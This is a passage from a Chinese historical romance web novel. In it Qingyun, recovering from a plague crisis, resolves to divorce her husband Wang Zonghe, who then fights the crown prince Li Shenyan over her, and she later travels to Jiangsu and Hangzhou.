亲卫:“大夫说眼下不宜移动,等太子爷病情彻底稳下来再说。” “好。” 这边脱险,清蕴终于得空去看王宗赫。 相较李审言的惊险,王宗赫被带出瘟疫村后,就在平稳地解毒养身。他的虚弱来自于毒素对身体的侵蚀和长久没有正常进食,一度无力到虚脱,前几天清醒的时间也很少,如今已经能够站起身自行走两步了。 清蕴推门而入时,他先怔住,目中迸出惊喜,准备抱来的手却在张到一半收回。 “三哥?” 王宗赫保持了几步距离,似不大好意思,“我好些日子没沐浴了。” 在村里被关了段日子,没法洗漱。被救出来后又因身体虚弱被禁止沐浴,只能打湿巾子简单擦拭一番。 对素喜洁净的王宗赫来说,绝不会想用这种形象出现在清蕴面前。 如果不是理智尚存,他在得知清蕴随时会来时就要强行去沐浴净发了。 清蕴目露笑意,是熟悉的三哥。 陈危立在她身后,适时帮二人端来座椅,让他们相对而坐。 王宗赫眼神在他身上多停留了会儿,忆起清蕴未出阁时,偶尔去朝云榭,陈危若在,也是这样周到地服侍他们。 可他如今已经身居高位、手握兵权,竟没有丝毫改变? 想起清蕴曾为陈危的事第一次向他提要求,王宗赫脑海中转过许多思绪,都没说出口。 他答应过清蕴,不再猜疑犹豫。 “太子那边,现在如何?”王宗赫问。 “已经度过险关,接下来好好休养即可。”清蕴道,“不过在这期间还是不能见外人,容易传染。” 李审言病愈的例子无法供人参考,一来他自身底子好,习武之人,身强体健。二来他贵为太子,名医、药材等应有尽有,众人便是举倾国之力也会救他。 寻常百姓如何能有这些条件,因此,王宗赫清楚虹县那些已经染了瘟疫的人还是凶多吉少。 他应该庆幸,当初那些人因怕自身染病,只给他下毒,而不是直接把他丢到殁于瘟疫的死人堆中。 王宗赫:“等他痊愈了,我再登门拜谢。” “嗯,是该如此。”清蕴没有立刻把那天答应李审言的事情说出,两人现在状态都算不上好,她不会在这种时候挑明。 当清蕴想要伪装的时候,旁人很难看出破绽。即使是感觉她那天和李审言之间发生了什么的陈危,也无法从她平静的表面去判断什么。 一边安心养病,一边祛毒,盛夏如此悠悠而过。 当泛黄的树叶旋落在眼前时,正在挑拣药材制作药囊的清蕴微怔,“几月了?” 陈危:“九月十三。” 待在这儿竟快一个月了。 清蕴推开窗,见漫山翠色不知何时被层层秋黄浸染,岚风拂面,竟带来瑟瑟凉意。 这段时间京城又派人来过,处理南直隶总督和瘟疫的事,因着这两人身体状况,清蕴都没怎么打听过事情进展。 倒是陈危,两边来回地跑,没怎么好好休息,跟着清减了不少。 敞着窗,清蕴回身取出一个药囊给陈危,“这阵子先戴着,等离开安徽就可以丢了。” 三枚药囊呈黑、青、白三色,青色为王宗赫钟爱,白色则是陈危,黑色就要留给还躺在病榻上的人了。 握住药囊,陈危迟疑了下,“主子。” “嗯?” “太子和你……”这几个字,陈危是低着头说出口的,到后面,又不知该怎么问。 他也是看见香囊的这一刻,才终于确定心中想法。因为他清楚,以主子的性子,在明知太子对她感情不同时,若不想让人误会,绝不会主动赠予香囊。 清蕴:“你也看出来了。” 陈危猛得抬头。 “他确实对我有意。”清蕴道,“我之前一直在拒绝,但……” 顿了顿继续,“回京之后,我应该会和三哥和离。” 陈危:“随后嫁给太子?” “不知道。”清蕴摇头,在陈危面前,她没打算隐瞒内心,“可能会,可能不会。” 但她肯定,她无法再在这样的李审言面前和三哥做一对恩爱夫妻。 陈危看她,“主子喜欢上了太子?” 清蕴望向别处,“……也许是。” 她不否认那几次的悸动,以及面对李审言时格外的愉悦和放松。有时候她甚至觉得,自己可以肆无忌惮地把最恶劣的一面展露给他,而不用担心他露出异样眼光。 如果说这是喜爱,那她确实为李审言所吸引。 其实,清蕴从不认为自己是个离经叛道者。 她和李审言不同,始终清醒地活在世俗经纬交织的网中——女子当以端庄持礼为骨,贤淑温良为表,循着既定的轨迹求得现世安稳。男子则需功名加身,以家国为业,儿女情长则是其次。这些是镌刻在世人心中的规矩,也是男女该有的分寸。 即便偶有偏差,她总能在失衡前将自己拉回正轨。 直到那个横冲直撞的身影,带着热情和肆意,一次次掀翻她心中的天平,让她惊觉,那些被自己压得平整的情绪,原来仍有破绽,仍会荡出一圈圈的涟漪。 陈危看袖中的手握紧成拳又松开,对着她的侧颜,心底第一次有了挣扎与渴望,最后还是全部压制住了,低声道:“顺从心意即可。” 无论怎么选,他都会站在她这边。 ………… “爷,您还没好全。”亲卫拦着,不让李审言往外走,面露难色。 “不是说已经不会再传给别人了么?”李审言边往外走,边用眼睛找人,没看见那熟悉的身影,总觉得心悬着。 陆清蕴不会是后悔了想赖账,连夜跑回京了吧? 早知道应该让她先写好和离书按个手印。李审言想着,步子迈得越大,快走到门前时,双眼迸出光亮,往前大跑几步直接把人抱住,很是不满,“我病得这么重,都不守着?” “李审言。”清蕴突然被闷在他怀里,动了两下没挣出去,只能面无表情唤人。 李审言懒懒应声,“多叫几声。” 虽然不太温柔,但比什么“二叔”“李统领”“太子”动听。 清蕴:“……你知道自己躺了几天吗?” 虽然药童每天会帮忙擦拭,但也比不了用水冲洗,之前又是那么热的天,药味、血味、汗味等交织在一起,想想也知道不会多好闻。 李审言鼻子没失灵,当然闻得到,但丝毫没放松。 臭些怎么了,陆清蕴还好意思推开他这个病人不成? 不过,他还是比较识趣地在怀中人发怒之前退一步,盯着人看了几息,忽然一笑,伸手捏她的脸,“病的分明是我,怎么你瘦了这么多?” 总不能是为了他茶饭不思。 挡开他的手,清蕴吩咐默默站立在一旁的亲卫,“把人扶进去。” 这人惯爱逞强,根据大夫的说法,如今他应该没什么力气,偏要装作若无其事。 如果不是感受到他些许发颤的手,清蕴也险些忘了这点。 李审言听从她的话,乖乖任人扶回床榻,随之看到被端来的药,立刻皱眉。 他这段时间记忆模糊,对药汤带来的痛和苦涩倒是刻骨铭心。 清蕴就在旁边看着,他到底没拒绝,闭眼灌下去,抬手握了握拳,感受到力量的流失,出声问:“现在是什么日子?” “九月十五,已经躺了大半个月了。” 惊讶一瞬,李审言问:“虹县怎么样了?” “瘟疫已经控制住了,剩下一些轻症的人被集中关着治疗。陛下那边已经下旨让隔壁两县接纳流民,从国库拨钱款救济。”清蕴拣紧要的几件事说了。 “老头子还算大方了回。”李审言淡道了句,随后听到一阵“咕噜噜”声,是从他腹中传出的。 他一点不羞赧,立马让人去备饭菜。在这期间,闻着自己身上一股快馊了的味道,还是不顾阻拦,强行要来热水快速冲洗了遍。 感觉身上清爽许多,他回到桌前喝粥,然后有一搭没一搭地和清蕴说话。 吃得半饱,四肢恢复气力,他似是不经意道:“我记得之前醒过一回,你好像还答应了什么事。” 清蕴:“……你放心,我没忘。” 李审言嘴角迅速上翘,又压下来,尽量平静道:“那,你和王宗赫说清了?” “时机还未到。” “……喔。”继续慢吞吞地舀着清粥,碗见底了,李审言缓缓起身,突然摇晃两下,似是站不稳,最后撑到了清蕴肩上,“有点头晕,扶我。” 清蕴有点怀疑他是故意的,但这是实打实的病人,这种时候也无法试探,便扶着人往床榻边去。 只是凭她的身板,即便李审言消瘦了些,重量也不可小觑。 不止是李审言把整个人压了过来,还是她力气太小,走到一半,清蕴跟着晃了晃,脚下趔趄,被李审言及时往回拉,整个人正好往回砸进他怀中。 张开双臂把人包裹得严严实实,李审言发出一声微不可闻的满足喟叹,并在她出声前道:“我知道你没有答应其他,但这种时候,仅是抱一抱,应该不过分吧?” 清蕴果然没拒绝,在原地停顿,任他紧紧抱住自己。 殊不知,在李审言面对的窗外,他正和不远处站立的王宗赫对视,两人皆面色平静,谁也没有移开视线。 第109章 此事是我承太子恩情 长久的凝视后, 王宗赫没有发出动静,也没有进屋,选择了转身离开。 他面色如常地回到住处,在疏影出声询问时, 甚至还很淡然地点头, “太子尚未痊愈, 不好过多打扰。” 疏影喔一声, 心中对太子也是大大改观,感激不已。谁都知道当初要不是太子冲进村, 他家爷就要跟整个瘟疫村一起被烧了。 他道:“主子不必急,我会随时打听那边消息,等您和太子都好了再叙旧不迟。” 王宗赫:“好。” 让疏影去忙碌,王宗赫给自己倒了杯水一饮而尽,微微闭眼, 再睁开。 他在思索一件事, 当初太子李审言愿意来救自己,是不是因为清蕴答应了对方某种条件,就像李审言对他试探过的那样。 对清蕴提出的条件, 很大可能是让她和离转嫁东宫。不,也许没到这个地步,还可以是其他要求,譬如陪他之类。 王宗赫告诉自己, 事实应该就是如此, 而清蕴为了救自己, 八成会答应对方。 不过是个卑劣的胁迫, 与清蕴无关。 分明捋清了思绪,王宗赫的心却没有随之静下来。他强行在桌前站立, 想通过写字来使自己镇定,字迹从规整的馆阁体换至笔走龙蛇的行书,越发潦草狂放,到最后,一笔一划都充斥着怒气和杀意。 砰——疏影听到巨大声响,来不及细思,猛得冲进房,登时呆住。 整个书桌竟被掀翻了,碎裂的砚台飞溅出道道墨汁,纸张横飞,书本凌乱,房内一片狼藉。主子就站在一旁,面无表情。 “……爷?”疏影盯着那不住滴血的手,小心翼翼询问,“怎么了?” 王宗赫回神,“没什么,不小心弄翻书桌,麻烦你了,收拾下吧。” 什么样的“不小心”,能把几十斤的书桌弄翻?疏影没问,默默取来用具把屋子收好,再拿出伤药,不做声地摆在一侧,退了出去。 小小意外过后,王宗赫好似真正恢复了理智,再没有做出冲动之举。 黄昏时分,清蕴应邀来到,一眼先瞥见王宗赫被包扎的右手,“三哥的手怎么了?” 她记得之前双手都没事。 “不小心被剪子伤了,并无大碍。”王宗赫淡笑了下,“用过晚饭了吗?” “尚未。” 李审言本来想缠她一起,结果无意间看到铜镜,立刻就放人了。清蕴大致猜得到原因,也没多留。 “那就一起吃吧。”王宗赫招手让人上饭菜。 自他离京后过去三个月,夫妻俩确实没有好好相处过了。这段时日,清蕴忙着两边奔波,歇息也是单独在山脚,没有太多时间和王宗赫说话。 她应下来,顺势落座。 靠得这样近,更能感受到她清减得多么厉害。含珠般的下颌成了新月尖,原本丰润的脸颊没了几两肉,倒衬得那双秋水眸愈发清亮。隐在薄衫下的身体纤瘦无比,手腕更是细得仿佛一折就断。 王宗赫眸光微动,暂未出声,和清蕴安静地用了这顿饭。 以茶漱口后,他才道:“在你来之前,我去了那边一趟。” 清蕴立刻反应过来,他定是看到了,“三哥……” “他提出了什么条件,才答应救我?”王宗赫冷静询问。 与他对视,清蕴轻声回:“他救你时,没有提出任何要求。” 当时她并不在场,他只是在得知王宗赫情况危急后,就直接冲进了村。 王宗赫一怔,心头戾气稍减,“那是在之后?” 如果这样,那就是他小看了李审言。 “不,也没有。” 王宗赫彻底愣住,甚至没反应过来这两句回答意味什么,只迟疑道:“那他……” 为何救自己? 王宗赫从来都分得清楚,两人可不是真正的君臣关系,曾经不死不休,如今的敌对。 清蕴也不知如何解释,半晌开口,“也许他敬重三哥为人,不希望你因小人算计而丧命。” 王宗赫微微扯唇,像是要笑,没能笑出来。毕竟那原因放在其他人身上合适,放在李审言身上,只会令人怀疑。 不过,既然李审言没有提任何要求,那为何,清蕴会任那个人亲昵地抱住? 这个疑惑,王宗赫不知怎的,总觉得不该问出口。 于是低声道:“那是我误会了他,待他彻底痊愈,我再去道谢,只不知太子平时喜欢哪些东西?” 王家富庶,王宗赫本人也没尝过缺银子的滋味。可这是救命之恩,如果多花费些银子就能解决,反而简单。 “……我也不大清楚。” 王宗赫颔首,“那就届时再看。” 他转向清蕴,微露笑意,“这段时日辛苦你了,猗猗。若非你看懂我的意思,此次也是凶多吉少。” 摇摇头,清蕴没有居功,“是三哥布置周密,若非你暗中查明真相,虹县无辜受牵连的百姓还会更多。” 只这一点,清蕴认为,三哥和李审言都值得钦佩。 对她的赞赏,王宗赫格外受用,借着聊天的时机,把到虹县以来的事原原本本说了遍,他知道清蕴也好奇。 说罢正事,天色已然昏暗,清蕴不欲打扰王宗赫休息,准备离开,在刚起身时被他拉住,抱入怀中。 触碰到人,感受熟悉的气息,王宗赫才终于有了真实感,在清蕴发顶印下一吻,“猗猗,我……” 稍作停顿,再缓缓道来,“此事是我承太子恩情,他要钱财、效忠乃至我的性命都可以,但都与你无关。你无需为了我,特意去照看他。” 说着,抬手揉她的发,“好吗?” 他的语气轻而柔,带着自己都不曾意识到的丝丝恳求。清蕴便知道,敏锐如他,肯定察觉到了什么,只是选择了视而不见。 是现在如实告知,还是等两人彻底痊愈,归京再处理此事?清蕴尚未做出决定,门外一声“不好”已经代她做了回答。 李审言是为了以防万一才过来看一看,说到底还是怕清蕴经不住哄,转而后悔答应的事。 一日没见到和离书,他就一日不会放心。 事实证明,他的担忧很正确。 顾不上自己如今外貌的“突出”,李审言大步入内,冷冷道:“光天化日的搂搂抱抱,成何体统,赶紧松开。” 且不说已经入夜,更何况……王宗赫神色紧绷,“即便是太子,也无权阻碍臣和内子亲近。” 第110章 扯头花 “我没有资格吗?”李审言下意识想说出这句话, 转而想起,陆清蕴只答应和离,没答应其他,且这俩人现在还是夫妻关系, 他还真没资格。 不过在斗嘴方面, 李审言不可能认输, 很淡然道:“我的意思是, 客人来了,就这样招待?” 王宗赫:“……是臣失礼了。” 刻在骨子里的君子风度让王宗赫很难在此时对李审言口吐恶言, 尤其是在对方刚救了自己一命的情况下。 他招待起李审言。 李审言如今的形象算不上好,王宗赫顶多消瘦些,而他的颈边、脸侧以及手臂都还留有斑痕、创口,这也是之前照镜子时他突然沉默的原因。 但事急从权,相貌一时半会恢复不了, 这边却不能掉以轻心。 聊着聊着, 清蕴看这两人谁也不愿先提出离开或休息,最后竟坐下谈起了正事。从虹县瘟疫说起,到王宗赫此行巡官的收获, 再到如今的官员任免。 她干脆取来香料煮茶。 早在前朝,王宗赫在柳阁老手下任职时,就提出了对官员考校之法的改良。镇安帝登基后沿用此法,所以这次才钦点王宗赫巡视南直隶。 李审言始终觉得这法子缺点什么, 瞥一眼在旁边专心煮茶的清蕴, “你的《考成八则》虽然有些用处, 但如果真按你说的三年一察, 那些蠹虫早就把百姓吃干抹净了。” 王宗赫:“所以臣向陛下谏言,增设暗访御史, 随后……” “暗访?”李审言打断,“就像你这次这样,险些被人烧死?” 沉默一阵,王宗赫撩起眼皮,“愿闻太子高见。” 语气中含着只有彼此才能察觉的微妙嘲讽。 术业有专攻,在王宗赫心中,李审言终究是个武夫。曾经的李审言凭借武力,在前朝杨煦身前展露头角,后来跟随镇安帝四处征战,说明他天生适合领兵作战。 但于文治一道,王宗赫不认为对方会胜过自己。之所以提这些,不过是有意找茬罢了。 李审言感受到了,没生气,视线在屋内慢悠悠转了圈,忽然笑了,“我曾和陆夫人一起去巡视过祭田。” “所以?” “她巡田之前就会做足功夫,讲究望闻问切。”李审言忆起往昔,不紧不慢道,“其实考校官员也就这个方法,望其治下乡野,闻其百姓口碑,问其钱粮实情,切其政令得失。《考成八则》里大部分都只重政令畅通与否,怎么可能得到民生实情?” 王宗赫意外,没想到李审言直接说中要点。这个缺陷他当然清楚,且从一开始制定就知道。 官场上并非有能力就能出头,还需要学会和光同尘。所以,他那份考成八则多少契合了杨煦的想法,因杨煦为了享乐,往下颁了好些不同寻常的御令,当然愿意用下面官员是否完成御令要求来考校他们。 李审言转向清蕴,“陆夫人觉得,是不是?” 清蕴同样讶然,李审言默默观察之时,竟看到了这么多。 他虽然没怎么受过士大夫教导,也不耐烦读书,但看待事情总有种惊人的、野兽般的直觉。 世人通常称之为天赋。 她点头,“是。” 李审言笑了下,“能想到这些,还要多亏了陆夫人。以往去书房借书,常能在书中看到你的注释。” 因他的话语,清蕴亦想起在齐国公府守孝的那几年。 她喜欢清静、安宁,无必要不出门的日子对她来说不算乏味。不过,当平静的生活中总时不时被人掀起涟漪,画出浓墨重彩的一笔时,自然会对这些日子记忆深刻。 “夫人。”王宗赫突然出声,推来茶杯,“有些渴了,劳烦帮我倒一杯茶。” 清蕴嗯一声,随即收回视线。 李审言还在用药,既不便品茶,也不能饮酒,盏内是一汪清水。面对王宗赫的有意打断,他转了转茶杯,眉梢流露笑意。 无需问出口,他已经察觉到了陆清蕴的改变。 之前他和王宗赫坐在一起,她总会有意无意忽略他,除却礼节上的招待,不会给予过多眼神,如今却终于把他放进了眼里,会回应,会忍不住微微含笑。 这时候,李审言才终于感到那天不是做梦。 在这待了一个多时辰,等再无借口可留,又知晓面前两人晚上不会同寝,李审言终于不情不愿地离开。 窗外溜进的一阵凉风让王宗赫低咳两声,清蕴随即起身关上门窗,为他抚背,“三哥,早些休息吧。” 王宗赫没做声,只是握住她手,把人往下一拉,不算温柔地吻去。 他想通过身体上的亲近去证明二人关系依旧,动作不免带上急切。清蕴起初轻轻地回抱住他,待他往肩侧亲去时抬手止住,“三哥该多休息。” 王宗赫抱紧她,“我想你,猗猗。” 他把头埋在她胸前,“在村中最后一刻,我以为要食言,无法伴你一生了。” 清蕴:“常言道,大难不死,必有后福,这说明三哥接下来定会顺遂无比。” 王宗赫温声,“无需其他,有你伴着就足够了。” 脆弱的人总会容易惹人怜惜,尤其是素来从容不迫的王宗赫露出这种神情时,本就没打算在他还没养好身体前挑明的清蕴,更不会在此刻否认。 她的回应是任他拥住,二人静静抱了好一会儿。 这夜算是温情无声地度过。 接下来的日子,李审言王宗赫两人都没再见面,一些可能引起纷争的场景也未曾出现。李审言忙着养病、恢复容貌,王宗赫也要解毒养身。 最重要的是,两人都并非纯粹休养,人在此处,就依然有公务要处理。 清蕴则是偶尔去看望两人,同时和商会联系,让他们一同救济流民。 直到十日后的傍晚,疏影急匆匆来寻清蕴,禀告的话让她都怔住了,“……什么?” “属下没骗您,爷和太子殿下打起来了,就在后山。”疏影起初想出面阻止,而后想想,果断来了清蕴这儿。 清蕴立刻起身,边走边问:“起因是为何?” “属下不清楚,只知爷主动约太子在后山见面,不让任何人跟着。属下不放心,离得远些守着,过了会儿才发现……” 三哥竟是主动的那个?清蕴步伐加快,随疏影的步伐来到后山枫林。 暮色自山脊漫下,枫林被夕阳浸成暗红色,枫叶如雪片般簌簌落下。 两人的确在拳脚相接,却不是更擅武艺的李审言占上风,他主要在闪避,偶尔才会回击。 见没有要闹出人命的架势,清蕴让疏影继续守在远处,踩着落叶步步走去。 瞥见她的身影,两个男人立刻收手,皆剧烈喘气,脸上都挂了彩。 李审言用手背碰了下开裂的嘴角,轻嘶一声。王老三还真不客气,逮住机会就下狠手,好在他那张脸也没好多少。 站立在两人面前,清蕴只觉得可笑。一个内阁大臣,一个太子,都是早就成年的男人了,官场、战场沉浮,按理来说心性都比常人稳重许多,居然还会私下打起来。根据疏影的说法,竟还是少年意气似的约架? “怎么不继续?”她微微一笑,“正精彩着呢,我还从未看过如此吸引人的剧目。” 李审言微微别过脑袋,王宗赫敛眸不说话。 半晌,李审言才道出一句,“是他主动约我来这儿,也是他主动出手。” 清蕴嗯了声。 王宗赫依旧没吭声。 “斗胆问一句,二位大打出手,原因为何?” 这下,两人都变成了哑巴。 不出清蕴所料,原因确实在她。 如果疏影所见为真,极有可能是三哥约李审言见面,询问他救人之事。也许问了李审言是否逼迫她答应什么事,而李审言不仅没有否认,反而故意引导,导致三哥怒而出手。 迅速推断出整件事的始末,清蕴没有半分“备受重视”的高兴,只觉得有些许厌烦,不管对李审言,还是对三哥。 视线掠过两人,她继续问:“决出胜负了吗?” 自然没有。 李审言若出全力,王宗赫根本不是他的对手。是他自觉已经占了上风,没必要再因此事让清蕴心疼对方。 “既然是比试拳脚,总该有彩头。”清蕴建议,“不如我来出这个彩头,谁打赢了,我就和谁在一起,如何?” 两人齐齐抬首,“陆清蕴/猗猗——” 清蕴柔声,“怎么,打这一架的目的,不是为此吗?” 显而易见,她正在生气,且气到谁的面子都没给,正不分对象地讥讽。 王宗赫:“我从未有此意。” 他也没有把清蕴当成物件,仅凭一场打斗就能决定她的归属。他只是,只是……一时被怒气冲昏头脑。 现在回想起来,也觉得荒唐。好在是约在了无人的后山,倘若被其他人看见,再联想到清蕴身上,她会承受的非议可想而知。 清蕴:“那是哪种意思?” 李审言直接明了地认错,“是我不对。” 他已经得了承诺,就不该再理会王宗赫的挑衅。 清蕴微微闭眼,再睁开,“三哥应该已经知道了吧,回京后,我打算与你和离。” 王宗赫目光黯淡,之前是有预感,刚才则是在李审言口中得知了明确答案。 “无论是嫁给三哥,还是打算与你和离,都是我的决定。”清蕴道,“我并非三岁孩童,懂得思量,亦有主见,如果仅凭他人逼迫,我既不会嫁给你,更不会选择和离。” 两人都目光灼灼看来。 “所以,你们为此出手毫无意义。”清蕴说出这句话,视线投向了枫叶。倒不如说,他们这场架,让她更清醒地意识到一件事。 即便和离了,她也不一定要嫁给李审言。 对他有些许好感又如何?如果三哥始终不能放下,到头来依然会是同样的局面。 那一点好感,不足以让她接受那可能过于“精彩”的第三段婚姻。 想到这儿,清蕴瞥那两人一眼,高唤一声“疏影”,对冲过来的人道:“已经没事了,给他们俩各拿身衣裳,我先走了。” 110-120 第111章 夫人不想看到其他人 李审言和王宗赫两人在凤阳府这边养了差不多两个月, 身体好得七七八八,南直隶总督和凤阳府知府之事亦在安稳处置当中。 见没什么再需担心的事,一个秋日清晨,清蕴在陈危的陪伴下离开了安徽。 她留下两封信, 再给京城寄去家书, 表明自己暂时不会归京, 便往东北方向, 去往江苏。 这个十多年都没回来的地方。 刚下马车,清蕴就打了个喷嚏, 陈危为她递上披风,“主子在这等,我下去就好。” 清蕴摇摇头,“我一起去吧。” 因对故地的抵触和替代他人身份而活的微妙情绪,清蕴一直没想过回来。但既然身在此处, 就没必要回避。 把临时租的马车锁在树旁, 两人循着记忆中的路下山。 山路陡峭,陈危用刀清理道旁斜出来的枝桠乱草,另一只手则握紧清蕴手腕, 稳住她身形。 路过一处斜坡,脚下突然踏空,清蕴险些摔下去,陈危反应极其迅速地扔刀把她往胸膛带, 往下滑的途中勾住一根粗壮树枝, 这才避免两人一同滚落的下场。 起初是下意识护着她, 脚下彻底站定后, 陈危慢慢地感受到了抵在胸膛的柔软身躯以及传入鼻间的隐隐清香。 肌肉立刻紧绷,陈危逐渐松开手。隐晦地往后方隐蔽处瞥了眼, 他往下去找刀,随后回身道:“主子拿着刀吧,暂做拐杖。” 清蕴应声。 费了一个多时辰,两人从山腰绕行到山底。因草木疯长,另找坟墓又用了会儿。 庆幸的是没有下雨,不至于深一脚浅一脚。 陈危取出系在身上的包裹,先点燃祭香,和清蕴接连祭拜,再看向她。 “挖开吧。”清蕴道。 陈危不再迟疑,用刀将已经长出野花野草的简陋坟墓挖开。 经过泥土中长达十六年的掩埋,衣物早就化得干干净净,把泥土倒翻了个边,也仅剩下一些长骨和牙齿,其余的都已经和花花草草融合在一起。 清蕴俯下身,将这些一一拾进包袱,在心中默念抱歉。 真正的陆清蕴很胆小,却在这儿孤眠十六载。倘若人有魂灵,那她也是极其善良心软的,这么多年都没怎么入过清蕴的梦。 收捡好尸骨,返回山腰的马车,天色就黑了下来。城门已经关闭,再想进去会很麻烦,两人干脆把车停留在山林边缘,原地生火。 撒上一圈驱虫药粉,陈危从马车取下干粮放在火堆上方炙烤。 清蕴裹着披风,倚靠马车而坐。 烤好了饼,陈危递来,她摇头,“不必,我不饿。” 陈危也没吃,放回火上,打湿帕子仔细擦拭刀身。 夜幕无垠,繁星编织成轻烟般的纱帐,将旅人笼罩其中。山影在极远处勾勒出起伏的墨线,与天际相接处泛着淡淡的青灰。 身处山间面对这种美景,那淡淡的陌生感和不安也消散了。 清蕴仰起的目光收回,篝火跃动的暖光把陈危手中刀身映出金红色,木柴发出噼啪脆响,不时有火星随风飘散。 她瞧过去,“这还是那把刀?” “是,很好用。” 清蕴:“看来段大师名不虚传。” 当初为陈危选刀时,清蕴特意找的锻刀大师打造。因不懂刀剑,提了许多如今看来很不讲道理的要求,当时段大师许是以为她小姑娘特意来找茬,硬是冷笑着接了下来,最后锻出这把陪伴陈危八年的刀。 “给我看看。” 陈危将刀柄递来,清蕴细细欣赏,伸手抚过刀身,感受到一股寒意,轻声赞叹,“你把它养护得也很好。” 任何人得知自己送的礼物被珍惜都会高兴,清蕴也不例外,露出今天以来的第一个笑容。陈危看着,也不自觉笑了下。 心情微微放松,清蕴拿起瓷杯,看着陈危再次递来的饼,也接了过来,一块块掰着吃。 和她相处时,陈危总是沉默居多。他不善言辞,做比说多,幸而清蕴很习惯这种相处。 某种程度而言,清蕴和他在一起最放松。 地面铺了几层青缎,清蕴干脆往后一仰,躺倒在上面,长发凌乱也无所谓,不用在意形象。 “陈危。”清蕴道,“说说在蓟州的事。” 陈危应声,回想了下,用堪称贫瘠的语言讲述起蓟州种种。分明跌宕起伏的戍边生活,在他过于平淡的语气中成了岁月静好般,让人听得困意渐生。 清蕴阖上眼,陈危的声音随之渐渐降低,直至无声。 马车外当然休息不便,因此等了会儿,估摸清蕴陷入深眠,陈危把人轻轻抱上马车。 清蕴自发往他身边靠了靠,唤出一声,并非“三哥”,亦非“李审言”,而是低低的“白芷”二字。 陈危忍不住笑了下,回身拿起刀,跃上大树坐着,在上面守了一夜。 翌日,清蕴休息得好,精神亦好了许多,迅速收拾好,和陈危往他记忆中的陆家祖坟处去。 陆清蕴的父亲在家中不受重视,虽然被埋在同一座山,但夫妻俩的墓离祖先们所在还有段距离。给他们上了柱香,清蕴看着陈危在夫妻墓的旁边挖了个深洞,埋入尸骨。 她看着,忽然道:“如果死后没有埋在祖先身边,真的会成为孤魂野鬼吗?” 陈危:“信则有。” 如今世人大多数都信此道。 清蕴嗯一声,“那我应当不可能埋回林家了,以后可能要成为孤魂野鬼吧。” 其实世上对女子又是一套评判方法,在有些地方,女子若非早夭,到了该出嫁的年纪却没有出嫁,没有夫家,便会成为无依无靠的游魂。 她平静的语气让陈危不知如何回答或是安慰,顿了会儿道:“我不信这个。” 清蕴略眨眼,忍俊不禁,想抬手拍拍陈危的头,意识到他如今很高了,转而拍肩,“恰巧,我也不信。” 死后怎么样她管不着,生前能够顺从心意、过得高兴就好。 办完这件事,清蕴也没想去陆家走一圈。对于陆清蕴这个身份而言,该做的她早就做了。陆清蕴母亲留下的嫁妆夺回了王家,依靠其父谋得官职的陆家人也都贬的贬、丢官的丢官,这也是多年来陆家人都不敢再打扰她的原因。 接着,清蕴南下去了浙江看望在此生活的大长公主、李琪瑛和杨翊。 三人见到她自然高兴,虽陪在她身边的是陈危,但都没多问什么,带她在杭州真正游玩了一圈。 杭州的秋是浸在桂香里的。 清蕴和李琪瑛乘舟游湖时,看船娘摇橹,岸边桂花随风簌簌落在青笠上。湖面有零星残荷飘荡,远山如洗过的新墨,所有景色倒映在粼粼波光里,胜似画卷。 正是吃蟹的季节,大长公主特摆了桌全蟹宴,用上银锤金剪,不紧不慢剥出了蟹膏,笑了笑,“蟹性寒,少思没怎么吃过,却很擅长剥。当初给你剥出蟹肉蟹黄,还能把蟹壳拼成蝴蝶,是不是?” 清蕴有些不好意思,说了声是。 大长公主摇头,“到底是不一样,我这个当娘的看了他二十多年,都不知他有这种功夫,还得见到你,才叫他无师自通。” 清蕴选择向她敬酒,省得大长公主一直调侃自己。李琪瑛也帮忙一起敬,没多久,三人就都呈微醺状态。 陈危亦喝了酒,仍然清醒,因此在她们决定去看画舫时,当仁不让地担当起了护花使者。 至于杨翊,他还太小了,被大长公主留在家中。 暮色渐浓,画舫灯影一盏盏浮上湖面。 四人租了艘小船,由陈危摇桨,穿梭在画舫和桥下,静静享受这夜间风光。 岸上,一道戴斗笠的身影静静立在那儿,和来往行人之间似乎有无形屏障,把喧闹隔绝在外。 他的眼睛正一刻不错地盯着小船上的人影,看风拂过清蕴发间玉簪,好似把那熟悉的气息也送了过来。 原来撇下他们,是来散心么? 他承认自己卑劣,抓住机会就急着分开她和王宗赫。那天王宗赫之所以出手,也是被他的话语所激。 想来打起来确实不好看,叫她气得直接走人,谁也不想理。 如果不是他晨起练刀察觉蹊跷,这种时候应该也只能和王宗赫一样回京。 这一路来,李审言看着她深入山崖下面挖骨,埋骨,再到浙江寻找大长公主,几次想出面,都忍住了。 陈危可能已经发现了他,没吭声,李审言干脆借这个机会默默跟着,然后发现了她同人相处时的更多面。 和李秉真、王宗赫、陈危、大长公主在一起,她都是不一样的状态,而最放松的,竟是他从来没正眼瞧过的陈危? 期间,李审言也盯着陈危看过一段时间,但感觉此人除去武力出众些、年轻些,没什么特别,且尤其沉默,一天下来不会超过十句话。 跟着他们夜游、归家,李审言准备现身时,陈危直接抬首看去。 从院墙无声落下,李审言对警惕的陈危挑眉,“我不做什么。” 陈危:“夫人不想看到其他人。” 李审言:“我不准备让她看见,只是帮她处理些事,顺便在这带待会儿。你也看得出来她之前心情不好,是不是?” 第112章 你夫君为你做主来了 李审言待了不到一刻钟就离开, 陈危紧盯着,见他没有纠缠也松了口气,继续在院外守了半个时辰,没有动静再回住处。 回到客栈的李审言随意淋了个澡, 双手叉在脑后仰躺在榻上。窗户大敞着, 夜风将中衣吹出道道褶皱, 微弱灯光映出他若有所思的神情。 想了会儿, 他忽然扬唇,闭眼。 俱是一夜清梦。 清蕴完全不知一直有人跟随在身后, 她准备在杭州待段时间,既陪大长公主她们,也难得肆意地游乐一阵。 担心陈危没那么多假,她曾让他早些回去,但被拒了, 就没坚持。 又是一日泛湖, 清蕴与李琪瑛闲适地坐在船头欣赏湖光水色,而后齐齐皱眉。 李琪瑛恼怒地往后瞪去,“那艘船跟了有段时间吧?” 清蕴颔首, 她早就感受到了。那艘船上似乎都是男子,远远就能听到声音,遇见李琪瑛后,黏腻的目光立刻就缠了上来, 随即以不算隐晦的方式跟随一路。 之所以只提李琪瑛, 是因清蕴做的男子装扮。她在女子当中算身材高挑, 装成男子虽然个头不算出众, 也不会太矮,就和李琪瑛扮成了兄妹出游。 显然, 她这个外表过于文弱的兄长并没有值得他人畏惧的地方。 船头还有个陈危,但他们似乎只把陈危当成普通船夫,毫不避忌,甚至偶尔故意高声议论,引起李琪瑛注意。 放在以前,李琪瑛早就一鞭子甩上去了。这会儿在船上不便动作,她养气功夫也深厚些许,才没有出声叱骂。 